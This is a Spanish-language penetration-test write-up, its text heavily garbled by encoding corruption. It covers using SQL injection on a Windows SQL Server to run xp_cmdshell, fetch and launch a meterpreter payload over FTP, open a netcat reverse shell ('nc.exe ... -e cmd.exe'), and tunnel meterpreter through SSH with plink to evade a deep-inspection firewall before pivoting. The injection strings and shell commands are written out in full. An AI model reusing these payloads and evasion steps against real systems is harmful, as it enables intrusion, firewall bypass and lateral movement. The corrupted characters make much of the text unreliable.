You are on page 1of 7

Tneles ssh + meterpreter para saltar firewalls de nueva generacin. Introduccin.

Durante un reciente test de intrusin me encontr con el caso de poder ejecutar comandos en una mquina remota (Windows 2003 Server) a travs de una inyeccin S ! en un S ! Server 200"# $sta mquina era parte de una red de rea local (!%&)' y mi intencin era poder utili(arla para pivotar al resto de mquinas )asta lo*rar )acerme con una cuenta de +%dministrador del dominio,# !le*ados a este punto' mi vector de ataque esta-a claro. Su-ir y ejecutar un payload de meterpreter para conse*uir una sesin# $scalar privile*ios en la mquina# /apturar el +)as), del administrador para utili(ar en otras mquinas# 0tili(ar un +%ut) to1en de dele*acin, de un usuario %dministrador del dominio para suplantarlo en el caso de )a-erlo' y utili(arlo para crear un usuario %dministrador del dominio# 0tili(ar esta mquina como puerta de enlace para acceder al resto de mquinas de la !%&# %l pro-ar el vector de ataque mencionado anteriormente' detecte una serie de pro-lemas que )u-o que solucionar para conse*uir el o-jetivo 2inal# $l principal de los pro-lemas 2ue que despus de conse*uir su-ir un payload de +meterpreter, en la mquina' al ejecutarlo la cone3in inversa no lle*a-a a su destino# 4rimero pens que se de-5a a que un 2irewall no permit5a acceso a puertos no usuales' as5 que repet5 el proceso esta ve( utili(ando un payload que intenta-a conectar al puerto 60 de mi mquina' pero tampoco 2uncion# $sa misma prue-a con un simple +netcat, si 2unciona-a' as5 que deduje que el pro-lema esta-a en que el 2irewall -loquea-a los paquetes de +meterpreter,' pro-a-lemente por ser un +Deep 7nspection 8irewall, y contener las 2irmas de +meterpreter, en su 2ic)ero de 2irmas# 4ara solucionar dic)o pro-lema' utilice ci2rado' ya que un 8irewall solo puede inspeccionar los paquetes que ve en claro' pero no los ci2rados# 4ara conse*uir que los paquetes se ci2raran de e3tremo a e3tremo (de mquina comprometida a mquina atacante)' utilic un t9nel SS:' lo cual me llevo al 3ito pudiendo traspasar dic)a -arrera de se*uridad# % continuacin voy a tratar de e3plicar paso a paso todo el proceso reali(ado para conse*uir apropiarme de dic)a mquina y utili(arla para pivotar a otras mquinas de su propia !%&#

Como subir el payload?.


/uando tenemos acceso a un sistema !inu3' normalmente no tenemos nin*9n pro-lema para su-irle 2ic)eros' ya que normalmente cualquier distri-ucin !inu3 viene con +w*et, o +curl,' por lo que tan solo necesitamos un servidor we- donde dejar los -inarios a descar*ar y despus descar*arlos con cualquiera de estas )erramientas# 4ero Windows es di2erente# 4or de2ecto no tenemos nin*una de estas )erramientas ni otras similares# 4odr5amos tratar de a-rir +7nternet $3plorer, o +8ire2o3, si est instalado para descar*ar el 2ic)ero' pero corremos el peli*ro de que el pro*rama quede a la espera de la interaccin del usuario y al no estar en la pantalla no poder )acerlo#

%s5 pues' lo que yo )ice (se*uro que e3isten ms 2ormas) 2ue utili(ar el comando +2tp, de windows# 4or de2ecto el +2tp, es un pro*rama interactivo' cuando se ejecuta pide un usuario y una contrase;a para lo*arse' y despus se le van introduciendo las ordenes deseadas terminando con un +-ye,# 4ero el +2tp, de Windows nos proporciona la posi-ilidad de utili(arlo de 2orma no interactiva' pasndole en un 2ic)ero de te3to todos las cadenas que necesitamos enviar# $sto se consi*ue con la opcin +<s 2ic)ero#t3t,# $stos son los pasos que se pueden utili(ar para su-ir 2ic)eros. Dejamos un 2ic)ero llamado +meterpreter#e3e, (payload de meterpreter reverso) en un 2tp p9-lico# =ediante la si*uiente inyeccin S ! inyectamos el si*uiente comando del sistema. ';exec master..xp_cmdshell '(echo ftp& echo kk@& echo bin& echo > get meterpreter.exe& echo bye) >ftp.txt';exec master..xp_cmdshell "ftp s!ftp.txt "#$er%er&'#"; $sta inyeccin crea el 2ic)ero 2tp#t3t con el si*uiente contenido. > ftp 2 3 kk@ ? " bin @ A get meterpreter.exe 6 B bye C despus llama al comando +2tp, pasndole como parmetro la opcin +<s, y el 2ic)ero que )emos creado# $l resultado de esto es que la mquina se conectar al servidor 8D4' se autenticar' ejecutar el comando +-in,' ejecutara +*et meterpreter#e3e, lo cual descar*ar el 2ic)ero en el sistema y ejecutara +-ye, para cerrar la sesin 8D4# $n estos momentos ya tenemos el payload en la mquina remota' con lo que tan solo quedar5a ejecutarlo con otra inyeccin y poner un +)andler, de =etasploit en el otro e3tremo para conse*uir una s)ell de +meterpreter,# !o )ar5amos as5 por ejemplo. > (;exec master..xp_cmdshell )start *+ meterpreter.exe,; !a opcin +EF, del comando +start, evita que se a-ra una ventana de +cmd, mientras se ejecuta el pro*rama# Dam-in podr5a )a-er llamado simplemente a +meterpreter#e3e,' pero esto )u-iera dejado el proceso de la consulta en ejecucin' y para reali(ar otra inyeccin )u-iera tenido que a-rir una nueva ventana' ya que si cancela-a o cerra-a esta' la sesin de +meterpreter, )u-iera muerto a menos que se )u-iera mi*rado a otro proceso# !a red donde se encontra-a esta mquina' utili(a-a un 8irewall de nueva *eneracin' con tecnolo*5a de +7nspeccin pro2unda de 4aqutes (D47),# $st tecnolo*5a anali(a los datos que contienen los paquetes que atraviesan el 2irewall y utili(a una -ase de datos de 2irmas como la de los antivirus para detectar cdi*o malicioso# /omo es normal' la 2irma de un +payload, de meterpreter se encuentran en la mayor5a de las -ases de datos de antivirus' y tam-in de 7DS y 2irewalls' con lo que en este caso la cone3in reversa de +meterpreter, que de-er5a )a-er lle*ado )asta la mquina atacante' no lle*a-a# G u )acemos entoncesH' Gcmo conse*uimos una s)ell de meterpreterH

Danto los 2irewall como los 7DS que anali(an el contenido de los paquetes' lo )acen en paquetes que viajan en claro# 4ara evitar que un dispositivo intermedio de una red' ya sea un router o un 2irewall inspeccione el contenido de lo que enviamos a travs de esta' la solucin es ci2rar de e3tremo a e3tremo esos paquetes' con lo cual estos dispositivos tan solo vern paquetes cuyo campo de datos est ci2rado y por lo tanto no pueden reconocer el contenido# G/mo )acemos para que meterpreter )a*a una cone3in reversa por un canal ci2rado de e3tremo a e3tremo que el 2irewall no pueda anali(arH %qu5 es donde entran en jue*o los t9neles SS:' los cuales nos permitirn enviar tr2ico ci2rado por un canal que normalmente todos los 2irewall van a permitir# :ay que a;adir' que lo que vamos )a )acer es lan(ar una cone3in SS: desde el interior de la !%& )asta un servidor de 7nternet (esto lo suelen permitir los 2irewall) y utili(aremos ese canal que )emos creado para enviar in2ormacin desde 2uera )asta el interior de la !%&#

nali!ando lo "ue nos permite el firewall.


De entrada sa-emos que desde la mquina remota podemos )acer cone3iones )acia 7nternet en el puerto 2> (8D4)' ya que es precisamente lo que )emos )ec)o para su-ir el payload# =uc)as con2i*uraciones de 2irewall' -loquean tanto el tr2ico entrante como saliente de una !%&' a e3cepcin de ciertos servicios permitidos' como puede ser nave*ar por internet' )acer cone3iones 2tp' ss)' etc' otras con2i*uraciones ms permisivas permiten cualquier cone3in desde el interior de la !%& )acia 7nternet# &ecesitamos sa-er a que puertos podemos conectar' si se nos permite cualquiera o por el contrario solo los ms usuales como el 60 ()ttp) y el ??3 ()ttps)' tal ve( tam-in el "3 (dns)' el 2" (smtp) o el 22 (ss))# 4ara reali(ar este procedimiento su-imos al servidor mediante el +2tp, dos nuevos -inarios' un netcat (nc#e3e) para pro-ar cone3iones D/4 a distintos puertos y +plin1#e3e, (cliente ss) putty para l5nea de comandos)# %l*unos antivirus de )ost detectan +netcat, como so2tware malicioso y lo -orran' en este caso no 2ue as5# Si no puede utili(arse +netcat,' de-er -uscarse una )erramienta similar que el antivirus no -loquee# %)ora' en la maquina atacante ponemos el netcat a la escuc)a en el puerto 2># rootI1ali.JK nc <vvv <l <p 2> listenin* on LanyM 2> N C en el sistema remoto ejecutamos. > (;exec master..xp_cmdshell )nc.exe "#_-ali ./ 0e cmd.exe,; $sto nos devolver un +cmd#e3e, de la mquina remota directamente en la mquina atacante#

Desde esta s)ell podremos ejecutar comandos ms cmodamente que mediante la inyeccin S !# Oamos a ver que mas puertos podemos utili(ar# 4ara esto simplemente repetimos la operacin' poniendo puertos a la escuc)a en nuestra maquina atacante y conectando desde nuestra s)ell utili(ando +nc#e3e,# 4ara conse*uir el o-jetivo' necesitamos conectar con al menos 2 puertos' uno para )acer el t9nel ss) y otro para ejecutar nuestro payload# Se*uro que al*uien se pre*unta Gpara que queremos )acer esto si ya tenemos una s)ell en la mquina remotaH# !a respuesta es 2cil' aunque )ay tcnicas que nos permiten desde esta s)ell poder escalar privile*ios en el sistema y pivotar a otros sistemas' una sesin de +meterpreter, 2acilita muc)o las cosas' tanto para escalar privile*ios (*etsystem)' como para pivotar ya que una ve( tenemos la sesin podemos poner una ruta en =etasploit para que la utilice como +*ateway, )acia la !%& v5ctima# $n el caso que nos ocupa' despus de )acer las distintas prue-as con +netcat, pude o-servar que desde el interior de la !%& ten5a acceso sin restricciones )acia 7nternet# %s5 pues' nos queda a-rir un t9nel SS: y pro-ar nuestro +meterpreter, a travs de dic)o t9nel# $n este caso' el t9nel lo lan(aremos desde un cliente Windows (plin1#e3e ejecutndose desde la maquina comprometida) )acia un servidor +PpenSS:, en un +1ali !inu3,#

#imulacin del ata"ue reali!ado.


Supon*amos el si*uiente escenario (para la demo utili(amos dos ran*os de direccionamiento 74 privado' pero el >0#>0#0#3 simula direccionamiento p9-lico). 74 p9-lica maquina atacante. >0#>0#0#>0 74 p9-lica 8irewall. >0#>0#0#20 74 de red de la !%&. >B2#>@6#@"#0E2? 74 privada 8irewall. >B2#>@6#@"#2"? 74 privada mquina detrs del 2irewall. >B2#>@6#@"#>0 74 privada se*unda mquina detrs del 2irewall. >B2#>@6#@"#>"

4rimero creamos nuestro payload de meterpreter apuntando al puerto @@@@ de >2A#0#0#> (local)ost)# $ste +payload, cuando sea invocado desde una mquina Windows reali(ar una cone3in a ella misma (>2A#0#0#>) en el puerto @@@@#

$ste payload es el que su-imos a la mquina v5ctima junto a +plin1#e3e, y +nc#e3e,# 0na ve( su-idos los tres arc)ivos' primero )acemos una cone3in con +netcat, para tener una consola donde ejecutar comandos ya que siempre ser ms comodo que cualquier +inyeccin S !, o cualquier +S)ell 4:4,# $n la mquina atacante ponemos +netcat, a la escuc)a y despus de ejecutar el comando mostrado anteriormente mediante la inyeccin S !' reci-imos la cone3in reversa#

&tese que la cone3in a nuestra maquina viene desde >0#>0#0#20' pero la 74 de esta es >B2#>@6#@"#>0# %)ora utili(ando +plin1#e3e, de-emos crear un t9nel SS: que conecte el puerto @@@@ de la mquina remoto con el puerto @@@@ de nuestra mquina local (los n9meros de puerto pueden ser cualquiera' pero entonces )ay que crear el payload para que utilice los que se decida)#

0na ve( reali(ada la cone3in por +ss),' se puede o-servar el puerto @@@@ en la maquina windows en estado +!7SD$&7&Q,#

%)ora en la maquina local (atacante)' con2i*uramos un +)andler, de =etasploit con el mismo +payload, que )emos creado y su-ido a la mquina windows escuc)ando en el puerto @@@@ (puerto que )emos con2i*urado en el t9nel)# /omo !:PSD ponemos la 74 de la maquina local' ya que la cone3in )asta el +)andler, vendr por el t9nel y por lo tanto ser desde el e3tremo del t9nel de la propia mquina al puerto @@@@ de esta#

0na ve( todo el escenario preparado' tan solo queda ejecutar nuestro payload +met#e3e, en la maquina remota# 0na ve( ejecutado' el +)andler, reci-ir la cone3in y enviar el +sta*e, para conse*uir a-rir la sesin# !a si*uiente ima*en lo muestra#

F7&QPRRRR' ya tenemos una sesin de +meterpreter, en la mquina remota saltndonos el 8irewall

de nueva *eneracin# /omo se o-serva en la ima*en' =etasploit indica que la cone3in viene desde >0#>0#0#>0 (la 74 de la propia mquina)# $sto es de-ido a que la cone3in viene por el t9nel SS:# 0na ve( conse*uido nuestro propsito' podemos utili(ar esta sesin para pivotar e intentar atacar otras mquinas de la red local >B2#>@6#@"#0E2?' aunque esto ya queda 2uera del propsito de este post#